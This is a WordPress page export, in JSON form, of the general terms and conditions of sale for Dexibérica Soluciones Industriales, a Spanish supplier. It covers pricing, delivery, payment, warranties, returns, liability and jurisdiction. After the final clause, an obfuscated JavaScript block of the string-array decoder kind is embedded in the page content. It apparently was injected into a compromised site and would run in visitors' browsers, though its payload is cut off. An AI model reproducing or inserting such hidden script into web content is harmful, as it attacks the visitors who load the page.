{"id":13392,"date":"2021-07-12T16:31:49","date_gmt":"2021-07-12T16:31:49","guid":{"rendered":"https:\/\/www.dexis-iberica.com\/condiciones-generales\/"},"modified":"2022-04-20T07:19:25","modified_gmt":"2022-04-20T07:19:25","slug":"general-terms-conditions","status":"publish","type":"page","link":"https:\/\/www.dexis-iberica.com\/en\/general-terms-conditions\/","title":{"rendered":"General terms and conditions"},"content":{"rendered":"<h2 class=\"title \">General terms and conditions of supply and sale.<\/h2>\n<h2 class=\"title \">DEXIB\u00c9RICA SOLUCIONES INDUSTRIALES, S.A.U.<\/h2>\n<ul>\n<li><strong>1. Acceptance<\/strong><br \/>\n<span style=\"font-weight: 400;\">These General Terms and Conditions of Supply and Sale accompany the offer made by DEXIB\u00c9RICA SOLUCIONES INDUSTRIALES, S.A. (hereinafter known as DEXIB\u00c9RICA). By placing the order, the Customer accepts these General Terms and Conditions of Supply and Sale. The Customer\u2019s refusal of these General Terms and Conditions of Supply and Sale must be made in writing and in a reliable manner and, in all cases, before the order is placed.<\/span><br \/>\n<span style=\"font-weight: 400;\">The Customer and DEXIB\u00c9RICA may amend these General Terms and Conditions of Supply and Sale by mutual agreement and in writing. However, DEXIB\u00c9RICA may unilaterally amend the offer and the corresponding technical information simply by notifying the customer prior to reception of the order. In this case, the Customer may cancel the order at no extra cost.<\/span><\/li>\n<li><strong>2. Prices, deliveries and orders<\/strong><br \/>\n<span style=\"font-weight: 400;\">Except where expressly agreed otherwise, the prices included in the offer accompanying these General Terms and Conditions of Sale are prices from the warehouses of DEXIB\u00c9RICA in Spain. The prices offered do not include the applicable taxes or duties, which shall be payable by the Customer.<\/span><br \/>\n<span style=\"font-weight: 400;\">The risks of theft, loss, damage, etc. during transit are the responsibility of the Customer when the Product is delivered to the Customer, or of the agent or carrier appointed, except where otherwise agreed in relation to the delivery conditions. Where the transport is provided by DEXIB\u00c9RICA, it shall comply with the obligation of delivering the goods to the carrier without any type of responsibility from this time, notwithstanding the responsibility of the carrier vis-\u00e0-vis the customer for any delay, loss or damage to the goods carried.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Partial deliveries of the items requested in the order are permitted unless otherwise agreed. There are no minimum order quantities unless otherwise agreed, and these must adapt to the packaging multiples of DEXIB\u00c9RICA.<\/span><\/li>\n<li><strong>3. Delivery times<\/strong><br \/>\n<span style=\"font-weight: 400;\">Except where indicated otherwise, the delivery time will be stipulated in the offer made by DEXIB\u00c9RICA. The delivery time for non-standard and\/or custom manufactured products by certain suppliers of DEXIB\u00c9RICA shall be included in the offer made and accompanying these General Terms and Conditions of Sale. DEXIB\u00c9RICA shall not be responsible for any delays or failures during delivery due to causes not attributable to its organisations, particularly those attributable to the respective supplier.<\/span><\/li>\n<li><strong>4. Payment conditions; customer solvency<\/strong><br \/>\n<span style=\"font-weight: 400;\">Unless agreed otherwise in writing, the payment conditions shall be those stipulated in the offer made by DEXIB\u00c9RICA.<\/span><br \/>\n<span style=\"font-weight: 400;\">The Customer guarantees its solvency to DEXIB\u00c9RICA to pay for the goods ordered. DEXIB\u00c9RICA may at any time put an end to its obligations by sending written notification of such if the Customer fails to make the payments within the agreed time. Termination of the obligations of DEXIB\u00c9RICA does not affect the obligations of the Customer regarding payment of the goods delivered or pending delivery.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In the event of non-payment by the Customer, it shall be responsible for the damages and losses caused and shall pay for all expenses this incurs, including the fees and expenses of lawyers, barristers, etc. regarding any claims and legal action. In addition, in the event of a delay in payment by the customer, a default interest must be paid that consists of the legal interest of money plus the percentage indicated in the offer made by DEXIB\u00c9RICA.<\/span><\/li>\n<li><strong>5. Delivery, inspection and non-conformity<\/strong><br \/>\n<span style=\"font-weight: 400;\">The Customer must inspect the goods received at the time of their delivery and, in all cases, prior to delivery to the end user customer. Where the Customer, at the time of delivery, discovers physical damage to the goods or where it does not agree with the order, it must inform DEXIB\u00c9RICA of such in detail and in writing within 7 days as of reception of the goods. Where appropriate, DEXIB\u00c9RICA may repair the goods, replace them or make a refund of the payment made for them, at its own discretion.<\/span><\/li>\n<li><strong>6. Warranties<\/strong><br \/>\n<span style=\"font-weight: 400;\">DEXIB\u00c9RICA warranties the products it distributes for the period indicated in the offer and, unless expressly indicated, for one year as of the date of their delivery. The warranty consists exclusively of the free repair or replacement of the products or their components that, due to material defect or manufacturing defect, cannot be served. To make any claim, the products or their components must be sent to the warehouses of DEXIB\u00c9RICA or any other location it indicates so that they can be examined to determine whether the defect or the fault\u00a0 is covered by the warranty or, where appropriate, for their repair or replacement.<\/span><\/li>\n<li><strong>7. Returns<\/strong><br \/>\n<span style=\"font-weight: 400;\">Only returns previously authorised by DEXIB\u00c9RICA shall be accepted. The goods being returned must be in perfect state of repair and in their original packaging. Returns of especially manufactured products shall not be accepted. To process any return, the goods must be sent carriage paid, indicating the delivery note no. and the supply date.<\/span><\/li>\n<li><strong>8. Liability<\/strong><br \/>\n<span style=\"font-weight: 400;\">DEXIB\u00c9RICA is under no circumstances liable with regard to the Customer or to third parties for the damages and losses caused by the products sold to the Customer, except for the provisions of law 22\/1994 of 6 July on Public Liability for the damages caused by defective products.<\/span><\/li>\n<li><strong>9. Jurisdiction and applicable law<\/strong><br \/>\n<span style=\"font-weight: 400;\">These General Terms and Conditions of Sale shall be exclusively governed by Spanish law. The Courts and Tribunals of Zaragoza shall be competent to settle any legal action or dispute arising in relation thereto.<\/span><\/li>\n<\/ul>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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DEXIB\u00c9RICA SOLUCIONES INDUSTRIALES, S.A.U. 1. Acceptance These General Terms and Conditions of Supply and Sale accompany the offer made by DEXIB\u00c9RICA SOLUCIONES INDUSTRIALES, S.A. (hereinafter known as DEXIB\u00c9RICA). By placing the order, the Customer accepts these General Terms and Conditions of Supply and Sale. The Customer\u2019s refusal [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":35,"comment_status":"closed","ping_status":"closed","template":"page-templates\/page-default.php","meta":{"_acf_changed":false,"footnotes":""},"class_list":["post-13392","page","type-page","status-publish","hentry"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>General terms and conditions - Dexis Ib\u00e9rica<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.dexis-iberica.com\/en\/general-terms-conditions\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"General terms and conditions - Dexis Ib\u00e9rica\" \/>\n<meta property=\"og:description\" content=\"General terms and conditions of supply and sale. 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